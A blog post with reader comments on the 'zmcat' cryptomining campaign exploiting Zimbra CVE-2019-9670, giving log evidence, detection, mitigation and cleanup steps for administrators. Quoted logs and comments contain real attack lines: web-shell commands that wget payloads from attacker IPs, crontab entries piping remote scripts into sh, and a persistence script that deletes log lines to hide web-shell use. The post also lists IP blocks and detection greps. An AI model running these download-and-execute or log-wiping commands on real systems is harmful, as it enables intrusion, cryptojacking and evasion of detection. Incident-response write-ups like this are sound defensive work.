Zimbra CVE-2019-9670 being actively exploited: how to clean the “zmcat” infection

Some days ago Zimbra posted about a security vulnerability affecting all their versions. It’s a very severe bug because it’s exploitable on the http/https ports (and imap), which means you have no other means to keep you safe but by patching your installation! Zimbra released patches for 8.8.11P3, 8.7.11P10 and 8.6.0P14 versions. Technical details on the bug are here.

Of course everyone has its own matters, and it’s not always easy to schedule a downtime, but patch installation is very quick and almost risk free (at least for the ones I did so far), so patch ASAP!

The last call is very important, because in the last days an exploit has been found actively targeting and pwning unpatched Zimbra installations!

Last but not least: the patch does fix the issue which allows the attacker to enter, but it doesn’t clean your system! If a backdoor has been uploaded the patch doesn’t wipe it, the attacker will always be able to enter again!

The exploit has been named zmcat, at least in IRC where I first learned about the exploiting campaign. The name comes from the executable being dropped on the machine, which is /tmp/zmcat. The executable appears to be a Bitcoin miner, according to Virustotal.com. Other than running this binary the exploit doesn’t seem to do any harm to the server to be noticed: no CPU activity, no IO.

zmcat is not the only file uploaded on the server. Two bash scripts, l.sh and s.sh are again in /tmp. Those two files are the download vector of the executable itself. The first run is s.sh, which fetches l.sh from 185.106.120.118. I’ve contacted HostSailor abuse department to alert them about the host spreading malware.

As said the s.sh script is used to download another bash file. Based on the user the script it’s run on it downloads l.sh for unprivileged user or r.sh for root. In our case the script is run as zimbra system user, so fetches l.sh.

l.sh is a more complex one, thus still a bit rough. It appears to be some cut&paste work, with basic bash knowledge. The main purpose of this script is to download zmcat, with a variation between 32 and 64 bit, and ensure the script itself and the executable is always running.

The first thing l.sh does is tweaking system setting /proc/sys/vm/nr_hugepages.
Then it downloads zmcat binary from the host above and places it in /tmp. When fetched it’s immediately executed.
For persistency the script tries to put itself in /etc/crontab and /etc/rc.local, but being run as zimbra user it’s not able to do it.

Other than this it places some jsp, .class and .java files in Zimbra.
Those files are used as command proxy: calling those JSP allow running server commands via GET requests. Some example commands being run are:

/opt/zimbra/bin/zmprov ca 1LiU@domain.com
wget -O /opt/zimbra/jetty/webapps/zimbra/public/jsp/ynwD.jsp http://87.236.233.105/reports/tmp.txt
/opt/zimbra/bin/zmprov da 1LiU@domain.com

zmcat detection

Detecting the infection is pretty easy: if you have some monitoring tool like Zabbix, you can automate it by checking the presence of /tmp/zmcat file. Here’s a sample template for detecting zmcat in Zabbix.

UPDATE: this is not valid anymore! The attacker learned and updated its approach and they’re now uploading files with many different names! The more common are zmswatch, zmlogswatch, and many others. I’ve updated the template but it’s only partially useful at this time.

Other than this you can check Zimbra’s log files, namely mailbox.log and nginx.access.log. I.e. in nginx I found this:

104.168.158.113:48768 - - [02/Apr/2019:11:49:43 +0200]  "POST /AutoDiscover/ HTTP/1.1" 503 13388 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48770 - - [02/Apr/2019:11:49:45 +0200]  "POST /service/soap HTTP/1.1" 200 1042 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48772 - - [02/Apr/2019:11:49:47 +0200]  "POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap/ HTTP/1.1" 200 1057 "-" "python-requests/2.9.1" "1
 0.0.0.5:8443"
104.168.158.113:48774 - - [02/Apr/2019:11:49:49 +0200]  "POST /service/extension/clientUploader/upload HTTP/1.1" 200 292 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48776 - - [02/Apr/2019:11:49:51 +0200]  "GET /downloads/PS1q.jsp?pwd=bduXyq HTTP/1.1" 200 468 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48778 - - [02/Apr/2019:11:49:53 +0200]  "POST /downloads/PS1q.jsp?pwd=bduXyq HTTP/1.1" 200 469 "-" "python-requests/2.9.1" "10.0.0.5:8443"
104.168.158.113:48780 - - [02/Apr/2019:11:49:55 +0200]  "GET /img/ikDB.jsp?pwd=4BkLUS HTTP/1.1" 200 470 "-" "python-requests/2.9.1" "10.0.0.5:8443"

As you see POSTs are done against /service/proxy. While those requests might be legit, the user agent can help you discriminate exploiting attempts.

As said above the cracker also uses uploaded JSP files to execute commands on the server. You can find traces of this activities in /opt/zimbra/log/audit.log. As a blind shot you can search for downloads, and you’ll find the malicious jsp being called.
If you’re more intrigued and want to really know what has been done on your server you can go through audit.log and trace.log, you’ll find interesting things:

2019-03-28 06:20:57,744 INFO  [qtp127618319-179157:http://1.2.3.4/service/soap] [name=zimbra;oip=212.200.106.194;port=37946;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2
851.RHEL5_64;] security - cmd=Auth; account=zimbra; protocol=soap;
2019-03-28 06:20:59,144 INFO  [qtp127618319-179166:https:https://localhost:7071/service/admin/soap/AuthRequest] [name=zimbra;ua=ZCS/8.7.11_GA_1854;] security - cmd=AdminAuth;
 account=zimbra;
2019-03-28 06:20:59,144 INFO  [qtp127618319-179166:https:https://localhost:7071/service/admin/soap/AuthRequest] [name=zimbra;ua=ZCS/8.7.11_GA_1854;] security - cmd=Auth; acco
unt=zimbra; protocol=soap;
2019-03-28 06:20:59,294 INFO  [qtp127618319-179164:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2851.RHEL5_64;] security - cmd=AdminAuth; account=zimbra;
2019-03-28 06:20:59,295 INFO  [qtp127618319-179164:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;ua=ZimbraWebClient - SAF3 (Win)/5.0.15_GA_2851.RHEL5_64;] security - cmd=Auth; account=zimbra; protocol=soap;
2019-03-28 06:21:06,355 INFO  [qtp127618319-179171:https:https://127.0.0.1:7071/service/admin/soap] [name=zimbra;oip=212.200.106.194;] security - cmd=CreateAccount; name=1liu@domain.com;


2019-03-28 06:21:07,976 INFO  [qtp127618319-179165:http://1.2.3.4/downloads/LU4e.jsp] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
2019-03-28 06:21:10,463 INFO  [qtp127618319-179170:http://1.2.3.4/downloads/LU4e.jsp?cmd=wget%20-O%20/opt/zimbra/jetty/webapps/zimbra/public/jsp/ynwD.jsp%20http://87.236.233.105/reports/tmp.txt] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;
2019-03-28 06:21:22,810 INFO  [qtp127618319-179139:http://1.2.3.4/downloads/LU4e.jsp?cmd=/opt/zimbra/bin/zmprov%20da%201LiU@domain.com] [] security - cmd=Auth; account=1liu@domain.com; protocol=http_basic;

Attack mitigation

The first and only valid defense is patching.

Given that I’m suggesting here a temporary solution which can help you gain time, but it’s very trivial and might be ineffective in short time.

Blocking user agent

UPDATE: not really useful.

From the log above all the automated requests come from a specific useragent: python-requests/1.1.0. By blocking this useragent you can prevent zmcat uploads.

Open /opt/zimbra/conf/nginx/templates/nginx.conf.web.http.default.template with an editor, just after the server { open bracket put the following lines:

if ($http_user_agent ~ (python-requests) ) { return 403; }

Do the same for the https template /opt/zimbra/conf/nginx/templates/nginx.conf.web.https.default.template and restart proxy service. It’s a weak test, but effective for the current campaign:

203.129.203.6:52843 - - [03/Apr/2019:17:41:01 +0200]  "GET /console/login/LoginForm.jsp HTTP/1.1" 403 310 "-" "python-requests/1.1.0 CPython/2.7.5 Linux/3.10.0-121.el7.x86_64" "-"

Firewall blocking

UPDATE: now useless! Another mitigation is to block traffic to and from the IPs where the jsp and sh are downloaded: 87.236.233.105 and 185.106.120.118 (update: This has been taken down by Hostsailor).
Again this is very weak, payload might be easily uploaded somewhere else.

It could be more effective if you have a restricted user base and can do GeoIP blocking. I.e. if you’re in Italy and can block access to your Zimbra http/s and imap/s ports to Italy only. Again this will lower the risk of infection, but won’t keep you totally safe anyway!

Hide from search engines

Again not totally effective, but hiding from search engines can help you not being found by automated scripts.

zmprov mcf zimbraMailKeepOutWebCrawlers TRUE +zimbraResponseHeader "X-Robots-Tag: noindex"

This doesn’t work for other engines like Shodan, but generally I keep my webmail not searchable.

Cleanup zmcat

This is a little mess. JoBbZ on IRC wrote:

I hear the “best” thing to do if you got hacked is spin up a clean, patched system, and move the mailboxes over to it

But let’s not be so dramatic. 😅 Indeed different levels of compromisation have been reported on IRC and the forums. Most of the times new files were added to Zimbra, in some original ones were touched!

I’m reporting here what I gathered from personal experience and others’ feedback. Elaborate and decide yourself what to do, take snapshots/backups/rsync before proceding and anyway do it on your own responsibility, I shall not be liable of any damage you caused to your systems!

The most secure approach in restoring a compromised server is exactly what JoBzZ said above: spin up a new server, copy over data from the bad server, turn the new one live.
The best way to do so is to use ZeXtras Migration Tool: it’s a licensed software but they offer a fully working 30 days trial you can use to perform your data migration without data loss.

Another approach is to uninstall Zimbra (keeping your data!), wipe what’s left around except configuration, store, database and then do a software only install, followed by zmsetup. This is extremely dangerous and should be done only by expert administrators.

Then there’s manual cleanup. It’s the easiest approach because it doesn’t cause downtime, but can potentially leave traces of the infection around which can be used by the attacker to re-upload its files.

To manually clean up:

  1. first of all patch Zimbra, and/or block the python useragent from uploading the crap again;
  2. kill all running processes of the two bash scripts (which can be of different names now) and zmcat (again). An helpful command could be
    ps faux | grep l\.sh
    there might also be some wget processes running, kill them as well
  3. delete the sh scripts and zmcat from /tmp;
  4. now the hardest part: delete all the proxying jsp and java from /opt/zimbra.
    A very handy command, posted by lfasci on the forum, is:
    find /opt/zimbra/jetty/ -name "*.jsp" -mtime -15 -ls
    find /opt/zimbra/jetty/ -name "*_jsp.java" -mtime -15 -ls
    find /opt/zimbra/jetty/ -name "*.class" -mtime -15 -ls

    This will find all the JSP and JAVA files updated within the last 15 days. If you applied the patch in this timeframe some legit classes will show up, but compromised ones are quite easy to detect: the file name is four characters long and with random bits. From the log above you can spot downloads/LU4e.jsp, public/jsp/ynwD.jsp, downloads/PS1q.jsp.
    This is a manual process, unless you want to extract all the matching jsp pattern from the logs. Instead of deleting move the files to a temporary directory. To make sure they’re not Zimbra official files you can open them: if they look crap, all the code in one line without newlines, 99% it has to be moved away.
    Remember to restart zimbra after cleaning up class and jsp files.
    Another automated check could be to compare the JSPs with the txt downloaded from 87[.]236.233.105 (the IP you find in the logs);
  5. UPDATE: step before has become only partially effective because now the attacker changes mtime of the uploaded files, and also adpted different naming. Another way to scan for malicious JSPs is:
    grep -R '(request.getParameter.' /opt/zimbra/mailboxd
    grep -R '(request.getParameter.' /opt/zimbra/jetty
  6. again lfasci notices you might find a file named ZimbraApps.jsp: this is not part of Zimbra but it’s a file browser extensions (jspbrowser), which can potentially allow an attacker to browse your filesystem (again as zimbra user);
  7. verifying original Zimbra files can be done using package managers. In Ubuntu you can:
    apt install debsums
    dpkg -l zimbra* | grep ^ii | awk '{print $2}' | xargs debsums -c
    In RHEL/CentOS:
    rpm -qa zimbra* | xargs rpm -qV - | egrep -E '^.{2}5'
    The commands above will print all the files which MD5 is different from the one installed by packages. Some changes might be legit, so you have to manually inspect the files to see if they’re valid or not;
  8. recover your crontab which has probably been corrupted;
  9. check your /opt/zimbra/.ssh/authorized_keys which should only contain your local zimbra ssh key.

After cleanup it’s always a good idea to change LDAP and MySQL passwords using zmldappasswd, as the attacher had access to all Zimbra files. You can change admin, root, amavis, nginx and postfix passwords with the following commands:

zmldappasswd <random>
zmldappasswd -r <random>
zmldappasswd -a <random>
zmldappasswd -n <random>
zmldappasswd -p <random>

zmmypasswd <random>
zmmypasswd --root <random>

As the attacker can potentially have access to all zimbra files, he could have stolen ssh identity file and/or have set a password for the zimbra user, so he can ssh into the system later. Do:

  • check with last or last -f /var/log/wtmp for unexpected logins;
  • check /var/log/auth.log or /var/log/secure for remote ssh logins for zimbra user;
  • check /etc/shadow if the zimbra user has a password set: it should not.

If you feel your keys can be compromised you can regenerate them with:

su - zimbra
zmsshkeygen
zmupdateauthkeys

I hope this will help others. If you have improvements or corrections please let me know.

UPDATE 0900 CEST: Hostsailor replied me they blocked the host delivering zmcat binaries!
UPDATE 2023 CEST: added more details on the file and on how to find malicious JSP files
UPDATE apr 9th: added *_jsp.java files find as per Israeru comment
UPDATE apr 12th: added package MD5 verification and other recovery methods
UPDATE apr 26th: link to 8.6P14, added advices for potential ssh logins
UPDATE may 2nd: added ldap and mysql password change commands.
UPDATE may 30th: several updates with new behaviour of the attack.

125 pensieri su “Zimbra CVE-2019-9670 being actively exploited: how to clean the “zmcat” infection

  1. Hi,

    Thank you so much for this! This post is gold!!!

    I’ll share it asap with my customers that still did not upgrade.

    Sebas

  2. Hi,

    Thank you for the great analysis. It helped a lot!

    Right now I still see attacks from mainly 2 IPs:
    213[.]221.224.122
    85[.]234.126.92

    My Zimbra installations are 8.8 12, so they seem to withstand the attacks so far.

    Again, thank you!

  3. The hacker are putting more garbage in /opt/zimbra/jetty-distribution-version#/work/zimbra/org/apache/jsp/public_/jsp

    ????_jsp.class and ?????_jsp.java

      • The files in that directory are not identified as virus by any AV so far. I tried with virus total vt cli utility. Be aware that any file created recently are a host of the injector.

  4. Ip that I blacklisted :

    185[.]99.13375
    87[.]236.233.105
    185[.]106.120.118
    89[.]221.52.122
    181[.]148.183.75
    213[.]221.224.122
    85[.]234.126.92
    181.112.138.130
    104.168.158.114

  5. Hi friend, I used the command and i saw some strange process is running , but I can’t stop it by kill command , you guys have any advice ?
    root 874 0.0 0.0 0 0 ? S 00:06 0:00 \_ [kdmflush]
    root 875 0.0 0.0 0 0 ? S 00:06 0:00 \_ [kdmflush]
    root 1442 0.6 0.0 0 0 ? S 00:06 0:03 \_ [flush-253:0]
    root 14366 0.0 0.0 105368 876 pts/0 S+ 00:16 0:00 \_ grep l.sh

  6. 12963 zimbra 20 0 274m 5332 444 S 199.6 0.5 87:22.14 /opt/zimbra/log/zmswatch

    Buenos dias

    Tengo este proceso consumiendo bastante recurso en mi maquina, esta recien instalada zimbra 8.6.0_GA he instentado cancelarlo pero el vuelve y aparece. me indican por favor que se puede hacer.

    Muchas gracias, en lo que me puedan colaborar

    Andres Loaiza

    • looks like a “variation” of zmcat, there are no executable in the logs directory. follow the guidelines above to get rid of the infection

    • Hola Andrés,
      ZMSWATCH es una variante de ZMCAT. Subí el binario a virustotal.com y dio positivo como minador de bitcoins.
      Mi servidor Zimbra 8.6 GA 1153 fue atacado el 5 de mayo y encontré este proceso ZMSWATCH consumiendo todo el CPU de mi VPS.
      Lo solucioné cambiando los permisos y el propietario de los archivos relacionados:
      # chown root:root /opt/zimbra/log/zmswatch*
      # chmod 400 /opt/zimbra/log/zmswatch*
      Luego apliqué el ultimo parche P14 para la version 8.6 de Zimbra (revisar la wiki de Zimbra para mas informacion)
      Si el ataque dejó dañada la interfaz de Zimbra, mostrando un error: “not found public/error.jsp”, hay que detener Zimbra:
      zmcontrol stop
      Luego hay borrar el contenido de la carpeta /opt/zimbra/jetty/webapps/zimbra/public y restaurar desde algun backup o desde los instaladores RPM de la version en cuestion de Zimbra, el contenido de la misma carpeta /opt/zimbra/jetty/webapps/zimbra/public
      Antes de finalizar, como root hay que resolver cualquier problema de permisos:
      # /opt/zimbra/libexec/zmfixperms -e
      Finalmente hay que arrancar el servicio de Zimbra a ver si funciona todo bien.

      • Hola Walter,
        creo que es mejor invertir el proceso de instalación del parche y la restauración desde el backup, el parche modifica ficheros que hay en /opt/zimbra/jetty/, si después de instalar el parche restauras una copia antigua encima te vas a quedar con ficheros vulnerables . Yo seguí el mismo procedimiento que has descrito para desinfectar una instalación de Zimbra con zmswatch.

        Como añadido decir que yo me encontré al final del cron de zimbra una linea que llamaba a /opt/zimbra/log/zmswatch.sh cada 15 minutos, el contenido del script es el que sigue:

        #!/bin/sh
        AGENT_FILE=’/opt/zimbra/log/zmswatch’
        if ps cax | grep -v grep | grep -v “zmswatch.sh” | grep “zmswatch” > /dev/null; then
        echo “running”
        else
        echo “nohup”
        nohup /opt/zimbra/log/zmswatch > /dev/null 2>&1 &
        fi
        sed -i ‘/Ajax\.jsp/d’ /opt/zimbra/log/*_log.2019*
        sed -i ‘/XZimbra\.jsp/d’ /opt/zimbra/log/*_log.2019*
        sed -i ‘/login\.jsp/d’ /opt/zimbra/log/*_log.2019*
        sed -i ‘/ZimbraCore\.jsp/d’ /opt/zimbra/log/*_log.2019*

  7. I applied the patch, cleaned up and still zmcat keeps appearing on the server.
    What can be done?
    Seems the attacker is uploading the file also to /var/tmp and the patch doesn’t seem to fix anything.

    • The patches fixes the bug, but if the attacked dropped a backdoor it can re-enter whenever he wants! It’s up to you to make a very careful and deep system cleaning!

  8. I am running version 8.6.0 and there are files being created in the / opt / zimbra / jetty / work / zimbraAdmin folder
    / opt / zimbra / jetty / work / zimbra
    Do you know if this is normal?

  9. Hi, i think a temporary solution is to create (as root) the filename zmcat with 000 permissions, here the commands:

    cd /tmp
    touch zmcat
    chmod 000 zmcat

    The attacker will try to upload the file but it fail because cannot rename the file. You may only see the empty file “tmp.txt” created, but no binary is uploaded to the server.

    Regards.

  10. New attacker create /opt/zimbra/log/zmswatch and /opt/zimbra/log/zmswatch.sh

    Look into crontab of zimbra. I seeing 2 lines : one to download and execute a sh file, and another to execute the zmswatch.sh

  11. Now it’s made trought another program, dblaunchs, if you kill it you’ll see the system calls curl command and next, two or three new temp programs launched: “dblauchs_XXXXX”, only for a few seconds and then dblauchs appears.
    It seems that there is nothing in zimbra’s crontab, or another user. And the tmp folder does not show anything anormal.

  12. This command “ps auxwe | grep dblaunchs” shows
    zimbra 2254 187 0.1 264604 8020 ? Sl 10:48 11:29 dblaunchs USER=root no_proxy=139.99.120.75,198.12.156.218,198.12.156.218,139.224.20.173 SHLVL=9 HOME=/opt/zimbra OLDPWD=/tmp LOGNAME=root _=/bin/sh PATH=/tmp/.dbb/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANG=C PWD=/tmp/.dbb
    But the directories are empty.
    I put in root crontab kill $(ps aux | grep ‘dblaunch’ | awk ‘{print $2}’) every five minutes to kill it if appears the process.

  13. oggi ho scoperto che lasciare zimbra senza patch non è consigliabile, ma grazie alle indicazioni sul tuo sito ho risolto rapidamente (o ora ho installato l’ultima patch)
    grazie mille!

  14. I got two pwned installations, I found dblaunchs eating CPU in one, /opt/zimbra/log/zmswatch.sh in the other, but no /tmp/zmcat /tmp/l.sh /tmp/s.sh.
    In one of those I had zimbra’s crontab edited with wget.
    In the hurry, I decided to remove /opt/zimbra/jetty and /opt/zimbra/log, and reinstall the same version.

    Everything is working now, but in the next days I will replace those old installations and migrate data.

  15. Salute, in my case the attacker touch the Ajax.jsp present in /jetty directory, do you have some advice to restart / fix the jetty directory. Thanks in advance

    • Either recover them from a backup or make a fresh installation of the same version (patched) and copy over the files

  16. Hi Maxxer, thank you very much for you article!

    I managed to clean things out (hopefuly all of them), and also would like to share some info

    for people like us, you might find it useful

    I had 8.6 did patch, but it seemed (zmcat) eat some of files, i was getting 403

    https://forums.zimbra.org/viewtopic.php?t=66006 (thanks for authors, found that article)

    luckily had backup and pulled diff of files copied them where they were missing

    also, I had those file laying arround

    /opt/zimbra/jetty/webapps/zimbra/js/zimbra/csfe/XZimbra.jsp
    /opt/zimbra/jetty/webapps/zimbra/public/Ajax.jsp

    deleted them

    btw, you said that patch doesnt clean, in my case it seems that patch also deleted files from download folder img and some other (I saw in backup that there were for e.g. 190.152.71.46 – PyQ0@domain.tld [] “GET /downloads/RUmf.jsp HTTP/1.1” 404 – “-” “python-requests/2.21.0” 216)

    also, check for new account via your zimbra admin interface, you might be having some new users dropped by zmcat

    delete them and dont look back 🙂

    • For sure the patch doesn’t clean the infection! It could be that overwrote some files the hacker compromised, but if it is it happened by mistake 😀

  17. Our fix: (read till the end)

    1. rm -rf /var/tmp/zmcat

    2. remove all vicious crontab jobs that have been appended, we had 3 new jobs at the bottom (our example):
    * * * * * wget -q -O – http://93.113.108.146:443/cr.sh | sh > /dev/null 2>&1
    */60 * * * * curl -s http://216.155.152.169/wl/wl_4at5.txt|sh;
    */60 * * * * sh /opt/zimbra/log/zmswatch.sh

    3. pkill zmcat (and zmswatch if you got this as well).

    4. stop Zimbra service.

    5. ** we had to restore Zimbra configurations from a backup since our ‘/opt/zimbra/jetty/webapps/zimbra/public’ folder
    got corrupted. In case you have got a backup just take ‘/opt/zimbra/jetty/webapps/zimbra/public’ folder and paste in
    your live server.

    6. Start Zimbra service.

  18. I patch one of my zimbras but the new hacker put some new garbage and kill all the zimbra procesess, this is more aggressive one
    1610698220 4 -rw-r—– 1 zimbra zimbra 387 May 6 18:39 /opt/zimbra/jetty/webapps/zimbra/downloads/zimbrapi.jsp
    1612623902 4 -rw-r—– 1 zimbra zimbra 26 May 6 22:31 /opt/zimbra/jetty/webapps/zimbra/downloads/intest.jsp

    537446665 8 -rw-r—– 1 zimbra zimbra 4826 May 6 18:39 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/zimbrapi_jsp.java
    537224161 8 -rw-r—– 1 zimbra zimbra 4496 May 6 22:31 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/intest_jsp.java

    537452078 8 -rw-r—– 1 zimbra zimbra 5962 May 6 18:39 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/zimbrapi_jsp.class
    537224190 8 -rw-r—– 1 zimbra zimbra 5234 May 6 22:31 /opt/zimbra/jetty/work/zimbra/jsp/org/apache/jsp/downloads/intest_jsp.class
    4308213 4 -rw-r—– 1 zimbra zimbra 1339 May 7 11:59 /opt/zimbra/jetty/work/zimbraAdmin/jsp/org/apache/jsp/public_/admin_jsp$1.class

  19. Hi Guys,

    are there some up to date (attacker) IP list that are spreading this exploit, I have collected some of them, and it seems that it does the job for now, i found some IPs here and some are from my logs that I saw that were trying or attack(404)/or being already 200

    [root@mymail ~]# iptables -nvL
    Chain INPUT (policy DROP 11076 packets, 1188K bytes)
    pkts bytes target prot opt in out source destination
    0 0 DROP all — * * 112.118.155.15 0.0.0.0/0
    0 0 DROP all — * * 158.69.195.70 0.0.0.0/0
    0 0 DROP all — * * 184.69.211.6 0.0.0.0/0
    5 300 DROP all — * * 104.168.211.236 0.0.0.0/0
    0 0 DROP all — * * 104.168.158.113 0.0.0.0/0
    0 0 DROP all — * * 104.168.158.114 0.0.0.0/0
    0 0 DROP all — * * 181.148.183.75 0.0.0.0/0
    0 0 DROP all — * * 185.106.120.118 0.0.0.0/0
    0 0 DROP all — * * 185.99.133.75 0.0.0.0/0
    0 0 DROP all — * * 203.129.203.6 0.0.0.0/0
    3918 199K DROP all — * * 213.221.224.122 0.0.0.0/0
    0 0 DROP all — * * 66.79.176.200 0.0.0.0/0
    0 0 DROP all — * * 85.234.126.92 0.0.0.0/0
    0 0 DROP all — * * 87.236.233.105 0.0.0.0/0
    0 0 DROP all — * * 89.221.52.122 0.0.0.0/0
    0 0 DROP all — * * 103.10.62.174 0.0.0.0/0
    0 0 DROP all — * * 104.168.170.48 0.0.0.0/0
    12 608 DROP all — * * 112.78.137.50 0.0.0.0/0
    0 0 DROP all — * * 149.129.133.222 0.0.0.0/0
    0 0 DROP all — * * 181.112.138.130 0.0.0.0/0
    0 0 DROP all — * * 185.172.65.80 0.0.0.0/0
    9 456 DROP all — * * 91.232.125.211 0.0.0.0/0
    0 0 DROP all — * * 93.113.108.146 0.0.0.0/0
    0 0 DROP all — * * 190.152.71.46 0.0.0.0/0

  20. Hi guys again me,

    found something interesting, btw ip and server are up, i was able to download that zip file (com_zimbra_clientuploader.zip)

    149.129.133.222 – – [15/Apr/2019:16:51:23 +0000] “POST /service/proxy?target=http://47.74.43.251/com_zimbra_clientuploader.zip&upload=1 HTTP/1.1” 200 242 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 1896

    149.129.133.222 – – [09/Apr/2019:04:54:45 +0000] “POST /Autodiscover/Autodiscover.xml HTTP/1.1” 503 11795 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 903
    149.129.133.222 – – [09/Apr/2019:04:54:51 +0000] “POST /service/soap HTTP/1.1” 200 – “-” “python-requests/2.18.4” 208
    149.129.133.222 – – [09/Apr/2019:04:54:55 +0000] “POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1” 200 523 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 313
    149.129.133.222 – – [09/Apr/2019:04:54:59 +0000] “POST /service/extension/clientUploader/upload HTTP/1.1” 200 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 226
    149.129.133.222 – – [09/Apr/2019:04:55:05 +0000] “POST /service/extension/clientUploader/upload HTTP/1.1” 200 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 223
    149.129.133.222 – null [09/Apr/2019:04:55:09 +0000] “POST /downloads/cmd.jsp?pwd=023&cmd=mv%20/opt/zimbra/jetty/webapps/zimbra/downloads/404.jsp%20/opt/zimbra/jetty/webapps/zimbra/public/404.jsp HTTP/1.1” 404 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 139
    149.129.133.222 – null [09/Apr/2019:04:55:13 +0000] “POST /downloads/cmd.jsp?pwd=023&cmd=touch%20-r%20/opt/zimbra/jetty/webapps/zimbra/public/404.html%20/opt/zimbra/jetty/webapps/zimbra/public/404.jsp HTTP/1.1” 404 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 11
    149.129.133.222 – null [09/Apr/2019:04:55:17 +0000] “POST /downloads/cmd.jsp?pwd=023&cmd=rm%20-rf%20/opt/zimbra/jetty/webapps/zimbra/downloads/cmd.jsp HTTP/1.1” 404 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 8
    149.129.133.222 – – [15/Apr/2019:16:51:06 +0000] “POST /Autodiscover/Autodiscover.xml HTTP/1.1” 503 11795 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 1409
    149.129.133.222 – – [15/Apr/2019:16:51:11 +0000] “POST /service/soap HTTP/1.1” 200 – “-” “python-requests/2.18.4” 219
    149.129.133.222 – – [15/Apr/2019:16:51:15 +0000] “POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1” 200 519 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 261
    149.129.133.222 – – [15/Apr/2019:16:51:19 +0000] “POST /service/extension/clientUploader/upload HTTP/1.1” 200 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 345
    149.129.133.222 – – [15/Apr/2019:16:51:23 +0000] “POST /service/proxy?target=http://47.74.43.251/com_zimbra_clientuploader.zip&upload=1 HTTP/1.1” 200 242 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 1896
    149.129.133.222 – – [15/Apr/2019:16:51:28 +0000] “POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1” 500 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 325
    149.129.133.222 – – [16/Apr/2019:03:46:49 +0000] “POST /Autodiscover/Autodiscover.xml HTTP/1.1” 503 11795 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 1006
    149.129.133.222 – – [16/Apr/2019:03:46:54 +0000] “POST /service/soap HTTP/1.1” 200 – “-” “python-requests/2.18.4” 215
    149.129.133.222 – – [16/Apr/2019:03:46:57 +0000] “POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1” 200 519 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 260
    149.129.133.222 – – [16/Apr/2019:03:47:01 +0000] “POST /service/extension/clientUploader/upload HTTP/1.1” 200 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 210
    149.129.133.222 – – [16/Apr/2019:03:47:05 +0000] “POST /service/proxy?target=http://47.74.43.251/com_zimbra_clientuploader.zip&upload=1 HTTP/1.1” 200 242 “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 1911
    149.129.133.222 – – [16/Apr/2019:03:47:10 +0000] “POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1” 500 – “-” “Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” 220

  21. Appendix to previous comment regarding the

    http://47.74.43.251/com_zimbra_clientuploader.zip

    ~/Downloads/com_zimbra_clientuploader
    ❯ tree -D
    .
    ├── [Oct 25 2016] ZaClientUploadViewController.js
    ├── [Oct 25 2016] ZaClientUploadXFormView.js
    ├── [Oct 25 2016] com_zimbra_clientuploader.js
    ├── [Oct 25 2016] com_zimbra_clientuploader.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader.xml
    ├── [Oct 25 2016] com_zimbra_clientuploader_ar.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_da.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_de.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_en_AU.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_en_GB.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_es.properties
    ├── [Oct 25 2016] com_zimbra_clientuploader_eu.properties
